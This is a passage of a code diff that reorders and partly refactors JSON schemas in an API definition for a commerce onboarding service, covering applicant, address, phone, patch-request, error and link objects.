`streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 - }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", - "maxLength": 300 + "adminArea3": { + "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", + "maxLength": 100, + "type": "string" }, - "postalCode": { - "type": "string", - "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", - "maxLength": 60 + "adminArea4": { + "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", + "maxLength": 100, + "type": "string" }, "countryCode": { - "description": "The [two-character ISO 3166-1 code](https://en.wikipedia.org/wiki/ISO_3166-1) that identifies the country or region. Note: The country code for Great Britain is `GB` and not `UK` as used in the top-level domain names for that country. Use country code `C2` for China for comparable uncontrolled price (CUP) method, bank-card, and cross-border transactions.", "$id": "https://godaddy.com/schemas/common-types/country-code.v1", "$schema": "http://json-schema.org/draft/2020-12/schema", - "type": "string", + "description": "A two-character ISO 3166-1 code that identifies the country or region.", "maxLength": 2, "minLength": 2, - "pattern": "^([A-Z]{2}|C2)$" + "pattern": "^([A-Z]{2}|C2)$", + "type": "string" }, - "addressDetails": { - "type": "object", - "title": "Address Details", - "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", - "properties": { - "streetNumber": { - "description": "The street number.", - "type": "string", - "maxLength": 100 - }, - "streetName": { - "description": "The street name. Just `Drury` in `Drury Lane`.", - "type": "string", - "maxLength": 100 - }, - "streetType": { - "description": "The street type. For example, avenue, boulevard, road, or expressway.", - "type": "string", - "maxLength": 100 - }, - "deliveryService": { - "description": "The delivery service. Post office box, bag number, or post office name.", - "type": "string", - "maxLength": 100 - }, - "buildingName": { - "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", - "type": "string", - "maxLength": 100 - }, - "subBuilding": { - "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", - "type": "string", - "maxLength": 100 - }, - "addressType": { - "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", - "type": "string", - "maxLength": 1 - }, - "geoCoordinates": { - "description": "The latitude and longitude of the address. For example, `37.42242` and `-122.08585`.", - "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Geographic Coordinates", - "properties": { - "longitude": { - "type": "string", - "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}" - }, - "latitude": { - "type": "string", - "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}" - } - }, - "required": [ - "longitude", - "latitude" - ] - } - } + "postalCode": { + "description": "The postal code, which is the zip code or equivalent. Typically required for countries that have a postal code or an equivalent. See [Postal code](https://en.wikipedia.org/wiki/Postal_code).", + "maxLength": 60, + "type": "string" } }, "required": [ "countryCode" - ] + ], + "title": "Postal Address (Medium-Grained)", + "type": "object" }, "customerId": { "description": "Unique ID for GoDaddy customer", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "email": { "$id": "https://godaddy.com/schemas/common/email-address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", "description": "A valid, internationalized email address. Note: Up to 64 characters are allowed before and 255 characters are allowed after the @ sign. However, the generally accepted maximum length for an email address is 254 characters. The pattern verifies that an unquoted @ sign exists.", - "type": "string", - "minLength": 3, "maxLength": 254, - "pattern": "^.+@[^\"\\-].+$" + "minLength": 3, + "pattern": "^.+@[^\"\\-].+$", + "type": "string" + }, + "firstName": { + "description": "First name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "id": { + "description": "Unique ID for the Individual", + "readOnly": true, + "type": "string" + }, + "ip": { + "description": "IP Address of the applicant", + "format": "ipv4", + "type": "string" + }, + "lastName": { + "description": "Last name of the applicant", + "maxLength": 64, + "minLength": 2, + "type": "string" + }, + "leadId": { + "description": "Unique Lead ID", + "maxLength": 64, + "type": "string" }, "phone": { "$id": "https://godaddy.com/schemas/common/phone.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Phone", "description": "The phone number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en).", "properties": { "countryCode": { - "type": "string", "description": "The country calling code (CC), in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the CC and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", - "minLength": 1, "maxLength": 3, - "pattern": "^[0-9]{1,3}?$" - }, - "nationalNumber": { - "type": "string", - "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", "minLength": 1, - "maxLength": 14, - "pattern": "^[0-9]{1,14}?$" + "pattern": "^[0-9]{1,3}?$", + "type": "string" }, "extensionNumber": { - "type": "string", "description": "The extension number.", - "minLength": 1, "maxLength": 15, - "pattern": "^[0-9]{1,15}?$" + "minLength": 1, + "pattern": "^[0-9]{1,15}?$", + "type": "string" + }, + "nationalNumber": { + "description": "The national number, in its canonical international [E.164 numbering plan format](https://www.itu.int/rec/T-REC-E.164/en). The combined length of the country calling code (CC) and the national number must not be greater than 15 digits. The national number consists of a national destination code (NDC) and subscriber number (SN).", + "maxLength": 14, + "minLength": 1, + "pattern": "^[0-9]{1,14}?$", + "type": "string" } }, "required": [ "countryCode", "nationalNumber" - ] - }, - "firstName": { - "description": "First name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "ip": { - "description": "IP Address of the applicant", - "type": "string", - "format": "ipv4" - }, - "lastName": { - "description": "Last name of the applicant", - "type": "string", - "minLength": 2, - "maxLength": 64 - }, - "leadId": { - "description": "Unique Lead ID", - "type": "string", - "maxLength": 64 + ], + "title": "Phone", + "type": "object" }, "type": { - "description": "Type of applicant", - "type": "string", "default": "APPLICANT", + "description": "Type of applicant", "enum": [ "APPLICANT", "OWNER", "OWNER_APPLICANT" - ] + ], + "type": "string" }, "userId": { "description": "Unique User ID", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "visitorId": { "description": "The visitor id that was created during an anonymous visit", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" } }, "required": [ "email" - ] - } - }, - "company": null, - "store": null, - "channel": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Channel", - "description": "An abstraction of data to create a channel", - "type": "object", - "properties": { - "id": { - "description": "Unique ID for the channel", - "type": "string", - "readOnly": true - }, - "name": { - "description": "Channel name", - "type": "string", - "minLength": 3, - "maxLength": 128 - }, - "externalChannelId": { - "description": "Unique ID what represents an external resource", - "type": "string", - "maxLength": 36 - }, - "externalChannelType": { - "description": "A term what represents the external channel id", - "type": "string", - "maxLength": 128 - } + ], + "title": "Individual", + "type": "object" }, - "required": [ - "name" - ] + "type": "array" + }, + "intent": { + "default": "CREATE_BUSINESS", + "description": "Identifies the type of onboarding application that is being requested for the commerce account", + "enum": [ + "CREATE_BUSINESS", + "ADD_STORE", + "ADD_CHANNEL", + "ADD_PRODUCT" + ], + "type": "string" }, "metadata": { "description": "Additional parameters to create a specific type of application", - "type": "object", "properties": { + "applicationLevel": { + "description": "Current Application Level — i.e. BASIC, FULL", + "enum": [ + "BASIC", + "FULL" + ], + "readOnly": true, + "type": "string" + }, + "applicationStatus": { + "description": "The current status of the application", + "enum": [ + "INCOMPLETE", + "PENDING_FULL_APPLICATION", + "IN_REVIEW", + "APPROVED", + "DECLINED" + ], + "readOnly": true, + "type": "string" + }, "businessId": { "description": "Unique ID for the business", - "type": "string", - "format": "uuid" - }, - "storeId": { - "description": "Unique ID for the store", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "channelId": { "description": "Unique ID for the channel", - "type": "string", - "format": "uuid" + "format": "uuid", + "type": "string" }, "context": { "description": "Header context", - "type": "string", - "maxLength": 1024 + "maxLength": 1024, + "type": "string" }, "medium": { "description": "The page or entity relating to this account. Ex. FacebookLP, Email, My Account", - "type": "string", - "maxLength": 64 - }, - "source": { - "description": "The point of origin that started this process", - "type": "string", - "maxLength": 64 + "maxLength": 64, + "type": "string" }, "referralUrlId": { "description": "The ID what was setup for a Distributor Merchant URL", - "type": "string", - "maxLength": 256 + "maxLength": 256, + "type": "string" }, - "applicationLevel": { - "description": "Current Application Level — i.e. BASIC, FULL", - "type": "string", - "readOnly": true, - "enum": [ - "BASIC", - "FULL" - ] + "source": { + "description": "The point of origin that started this process", + "maxLength": 64, + "type": "string" }, - "applicationStatus": { - "description": "The current status of the application", - "type": "string", - "readOnly": true, - "enum": [ - "INCOMPLETE", - "PENDING_FULL_APPLICATION", - "IN_REVIEW", - "APPROVED", - "DECLINED" - ] + "storeId": { + "description": "Unique ID for the store", + "format": "uuid", + "type": "string" } - } - }, - "intent": { - "description": "Identifies the type of onboarding application that is being requested for the commerce account", - "type": "string", - "default": "CREATE_BUSINESS", - "enum": [ - "CREATE_BUSINESS", - "ADD_STORE", - "ADD_CHANNEL", - "ADD_PRODUCT" - ] + }, + "type": "object" }, "products": { "description": "List of GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/product.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Product", "description": "GoDaddy product that can be added to the commerce account e.g., e.g., GD Payments, GD Debit card, GD Loans etc.", - "type": "object", "properties": { + "features": { + "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", + "items": { + "default": [], + "enum": [ + "TIP_ENABLED" + ], + "type": "string" + }, + "type": "array" + }, "id": { "description": "Unique ID for the product", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "name": { "description": "Product name", - "type": "string", "enum": [ "PAYMENTS" - ] - }, - "features": { - "description": "Optional capabilities/functionalities associated with GoDaddy offered Product", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "TIP_ENABLED" - ] - } + ], + "type": "string" } - } - } + }, + "title": "Product", + "type": "object" + }, + "type": "array" }, - "commerceAccountFeatures": { - "description": "Optional capabilities/functionalities associated with commerce account", - "type": "array", - "items": { - "type": "string", - "default": [], - "enum": [ - "NO_EMAIL_COMMUNICATIONS" - ] - } + "store": { + "$ref": "./Store.yaml" } }, "required": [ "intent" - ] + ], + "title": "Onboarding Application", + "type": "object" } ], "properties": { "links": { - "type": "array", "description": "An array of error-related HATEOAS links.", - "readOnly": true, "items": { "$id": "https://godaddy.com/schemas/common/link-description.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", "properties": { "href": { "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" }, "rel": { "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", "type": "string" }, - "title": { - "description": "The link title.", + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", "type": "string" }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, "targetMediaType": { "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", "type": "string" @@ -2032,24 +1814,20 @@ "targetSchema": { "description": "The schema that describes the link target." }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "title": { + "description": "The link title.", "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." } }, "required": [ "rel", "href" - ] - } + ], + "title": "Link Description", + "type": "object" + }, + "readOnly": true, + "type": "array" } } } @@ -2057,1944 +1835,972 @@ "404": { "description": "Not found", "schema": { - "$id": "https://godaddy.com/schemas/common/error.v1", + "$ref": "./common-types/error.json" + } + } + }, + "scopes": [ + "commerce.onboarding:read", + "commerce.onboarding:write" + ] + }, + { + "operationId": "patchOnboardingApplication", + "method": "PATCH", + "path": "/onboarding-applications/{onboardingApplicationId}", + "summary": "Patch an onboarding application", + "description": "Updates an application by id", + "parameters": [ + { + "name": "onboardingApplicationId", + "in": "path", + "required": false, + "schema": { + "type": "string" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "$id": "https://godaddy.com/schemas/common/patch-request.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An array of JSON patch objects to apply partial updates to resources.", + "items": { + "$id": "https://godaddy.com/schemas/common/patch.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Error", - "description": "The error information.", - "definitions": { - "error-details": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] + "description": "The JSON patch object to apply partial updates to resources.", + "properties": { + "from": { + "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation.", + "type": "string" }, - "link-description": { - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" + "op": { + "description": "The operation to complete.", + "enum": [ + "add", + "remove", + "replace", + "move", + "copy", + "test" + ], + "type": "string" + }, + "path": { + "description": "The JSON pointer to the target document location at which to complete the operation.", + "type": "string" + }, + "value": { + "anyOf": [ + { + "type": "number" }, - "title": { - "description": "The link title.", - "type": "string" + { + "type": "integer" }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + { "type": "string" }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" + { + "type": "boolean" }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" + { + "items": {}, + "type": "array" }, - "submissionSchema": { - "description": "The schema that describes the request data." + { + "type": "object" } - }, - "required": [ - "rel", - "href" - ] - } - }, - "properties": { - "name": { - "type": "string", - "description": "The human-readable, unique name of the error." - }, - "correlationId": { - "type": "string", - "description": "Internal identifier used for correlation purposes." - }, - "message": { - "type": "string", - "description": "The message that describes the error." - }, - "informationLink": { - "type": "string", - "description": "The URI for detailed information related to this error for the developer." - }, - "details": { - "type": "array", - "description": "An array of additional details about the error. Required for client-side `4XX` errors.", - "additionalItems": false, - "items": { - "$id": "https://godaddy.com/schemas/common/error-details.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Error Details", - "type": "object", - "description": "The error details. Required for client-side `4XX` errors.", - "properties": { - "field": { - "type": "string", - "description": "The field that caused the error. If the field is in the body, set this value to the JSON pointer to that field. Required for client-side errors." - }, - "value": { - "type": "string", - "description": "The value of the field that caused the error." - }, - "location": { - "type": "string", - "description": "The location of the field that caused the error. Value is `body`, `path`, or `query`.", - "default": "body" - }, - "issue": { - "type": "string", - "description": "The unique fine-grained application-level error code." - }, - "description": { - "type": "string", - "description": "The human-readable description for an issue. The description MAY change over the lifetime of an API, so clients MUST NOT depend on this value." - } - }, - "required": [ - "issue" - ] - } - }, - "links": { - "type": "array", - "description": "An array of error-related HATEOAS links.", - "readOnly": true, - "items": { - "readOnly": true, - "$id": "https://godaddy.com/schemas/common/link-description.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Link Description", - "type": "object", - "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", - "properties": { - "href": { - "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", - "type": "string", - "format": "uri" - }, - "rel": { - "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", - "type": "string" - }, - "title": { - "description": "The link title.", - "type": "string" - }, - "targetMediaType": { - "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", - "type": "string" - }, - "targetSchema": { - "description": "The schema that describes the link target." - }, - "method": { - "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", - "type": "string" - }, - "submissionMediaType": { - "description": "The media type with which to submit data with the request.", - "type": "string", - "default": "application/json" - }, - "submissionSchema": { - "description": "The schema that describes the request data." - } - }, - "required": [ - "rel", - "href" - ] - } + ], + "description": "The value to apply. The `remove` operation does not require a value.", + "nullable": true } }, "required": [ - "name", - "correlationId", - "message" - ] - } + "op" + ], + "title": "Patch", + "type": "object" + }, + "title": "Patch Request", + "type": "array" } }, - "scopes": [ - "commerce.onboarding:read", - "commerce.onboarding:write" - ] - }, - { - "operationId": "patchOnboardingApplication", - "method": "PATCH", - "path": "/onboarding-applications/{onboardingApplicationId}", - "summary": "Patch an onboarding application", - "description": "Updates an application by id", - "parameters": [ - { - "name": "onboardingApplicationId", - "in": "path", - "required": false, + "responses": { + "200": { + "description": "Updated onboarding application", "schema": { - "type": "string" - } - } - ], - "requestBody": { - "required": false, - "contentType": "application/json", - "schema": { - "$id": "https://godaddy.com/schemas/common/patch-request.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "array", - "title": "Patch Request", - "description": "An array of JSON patch objects to apply partial updates to resources.", - "items": { - "$id": "https://godaddy.com/schemas/common/patch.v1", + "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Patch", - "description": "The JSON patch object to apply partial updates to resources.", + "description": "This model represents the application which is use to begin the onboarding process", "properties": { - "op": { - "type": "string", - "description": "The operation to complete.", - "enum": [ - "add", - "remove", - "replace", - "move", - "copy", - "test" - ] - }, - "path": { - "type": "string", - "description": "The JSON pointer to the target document location at which to complete the operation." - }, - "value": { - "anyOf": [ - { - "type": "number" - }, - { - "type": "integer" - }, - { + "channel": { + "$id": "https://godaddy.com/schemas/commerce/onboarding/store.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "An abstraction of data to create a channel", + "properties": { + "externalChannelId": { + "description": "Unique ID what represents an external resource", + "maxLength": 36, "type": "string" }, - { - "type": "boolean" + "externalChannelType": { + "description": "A term what represents the external channel id", + "maxLength": 128, + "type": "string" }, - { - "type": "array", - "items": {} + "id": { + "description": "Unique ID for the channel", + "readOnly": true, + "type": "string" }, - { - "type": "object" + "name": { + "description": "Channel name", + "maxLength": 128, + "minLength": 3, + "type": "string" } + }, + "required": [ + "name" ], - "nullable": true, - "description": "The value to apply. The `remove` operation does not require a value." + "title": "Channel", + "type": "object" + }, + "commerceAccountFeatures": { + "description": "Optional capabilities/functionalities associated with commerce account", + "items": { + "default": [], + "enum": [ + "NO_EMAIL_COMMUNICATIONS" + ], + "type": "string" + }, + "type": "array" + }, + "company": { + "$ref": "./Company.yaml" }, - "from": { - "type": "string", - "description": "The JSON pointer to the target document location from which to move the value. Required for the `move` operation." - } - }, - "required": [ - "op" - ] - } - } - }, - "responses": { - "200": { - "description": "Updated onboarding application", - "schema": { - "$id": "https://godaddy.com/schemas/commerce/onboarding/application-request.v1", - "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Onboarding Application", - "type": "object", - "description": "This model represents the application which is use to begin the onboarding process", - "properties": { "id": { "description": "Unique ID for the application", - "type": "string", - "readOnly": true + "readOnly": true, + "type": "string" }, "individuals": { "description": "A list of applicants", - "type": "array", "items": { "$id": "https://godaddy.com/schemas/commerce/onboarding/individual.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "title": "Individual", "description": "Business account owner or the person filling out the application (applicant)", - "type": "object", "properties": { - "id": { - "description": "Unique ID for the Individual", - "type": "string", - "readOnly": true - }, "address": { "$id": "https://godaddy.com/schemas/common/address.v1", "$schema": "https://json-schema.org/draft/2020-12/schema", - "type": "object", - "title": "Postal Address (Medium-Grained)", "description": "An internationalized postal address. Maps to [AddressValidationMetadata](https://github.com/googlei18n/libaddressinput/wiki/AddressValidationMetadata) from Google's Address Data Service and HTML 5.1 [Autofilling form controls: the autocomplete attribute](https://www.w3.org/TR/html51/sec-forms.html#autofilling-form-controls-the-autocomplete-attribute).", "properties": { + "addressDetails": { + "description": "The non-portable additional address details that are sometimes needed for compliance, risk, or other scenarios where fine-grain address information might be needed. Not portable with common third-party and open-source address libraries and redundant with core fields. For example, `address.addressLine1` is usually a combination of `addressDetails.streetNumber` and `streetName` and `streetType`.", + "properties": { + "addressType": { + "description": "The type of address. Single character representation of a type. For example: 'B' for building, 'F' for organization, 'G' for general delivery, 'H' for high-rise, 'L' for large-volume organization, 'P' for Post Office box or delivery service, 'R' for rural route, 'S' for street, 'U' for unidentified address.", + "maxLength": 1, + "type": "string" + }, + "buildingName": { + "description": "A named locations that represents the premise. Usually a building name or number or collection of buildings with a common name or number. For example, Craven House.", + "maxLength": 100, + "type": "string" + }, + "deliveryService": { + "description": "The delivery service. Post office box, bag number, or post office name.", + "maxLength": 100, + "type": "string" + }, + "geoCoordinates": { + "$id": "https://godaddy.com/schemas/common/geo-coordinates.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "The geographic latitude and longitude coordinates.", + "properties": { + "latitude": { + "pattern": "^-?([1-8]?[1-9]|[1-9]0)\\.{1}\\d{1,6}", + "type": "string" + }, + "longitude": { + "pattern": "^-?([1]?[1-7][1-9]|[1]?[1-8][0]|[1-9]?[0-9])\\.{1}\\d{1,6}", + "type": "string" + } + }, + "required": [ + "longitude", + "latitude" + ], + "title": "Geographic Coordinates", + "type": "object" + }, + "streetName": { + "description": "The street name. Just `Drury` in `Drury Lane`.", + "maxLength": 100, + "type": "string" + }, + "streetNumber": { + "description": "The street number.", + "maxLength": 100, + "type": "string" + }, + "streetType": { + "description": "The street type. For example, avenue, boulevard, road, or expressway.", + "maxLength": 100, + "type": "string" + }, + "subBuilding": { + "description": "The first-order entity below a named building or location that represents the sub-premise. Usually a single building within a collection of buildings with a common name. Can be a flat, story, floor, room, or apartment.", + "maxLength": 100, + "type": "string" + } + }, + "title": "Address Details", + "type": "object" + }, "addressLine1": { - "type": "string", "description": "The first line of the address. For example, number and street name. For example, `3032 Bunker Hill Lane`. Required for compliance and risk checks. Must contain the full address.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine2": { - "type": "string", "description": "The second line of the address. For example, office suite or apartment number.", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, "addressLine3": { - "type": "string", "description": "The third line of the address, if needed. For example, a street complement for Brazil; direction text, such as `next to Opera House`; or a landmark reference in an Indian address.", - "maxLength": 100 + "maxLength": 100, + "type": "string" }, - "adminArea4": { - "description": "The neighborhood, ward, or district. Smaller than `adminArea3` or `subLocality`. For example, the postal sorting code that is used in Guernsey and many French territories, such as French Guiana; the fine-grained administrative levels in China.", - "type": "string", - "maxLength": 100 - }, - "adminArea3": { - "description": "A sub-locality, suburb, neighborhood, or district. Smaller than `adminArea2`. For example, in Brazil - Suburb, bairro, or neighborhood; in India - Sub-locality or district. Street name information may not always available and a sub-locality or district can reference a very small area.", - "type": "string", - "maxLength": 100 + "adminArea1": { + "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A kanton.", + "maxLength": 300, + "type": "string" }, "adminArea2": { "description": "A city, town, or village. Smaller than `adminArea1`.", - "type": "string", - "maxLength": 300 + "maxLength": 300, + "type": "string" }, - "adminArea1": { - "type": "string", - "description": "The highest level sub-division in a country, which is usually a province, state, or ISO-3166-2 subdivision; formatted for postal delivery. For example, `CA` and not `California`. For example, for UK - A county; for USs - A state; for Canada - A province; for Japan - A prefecture; for Switzerland - A 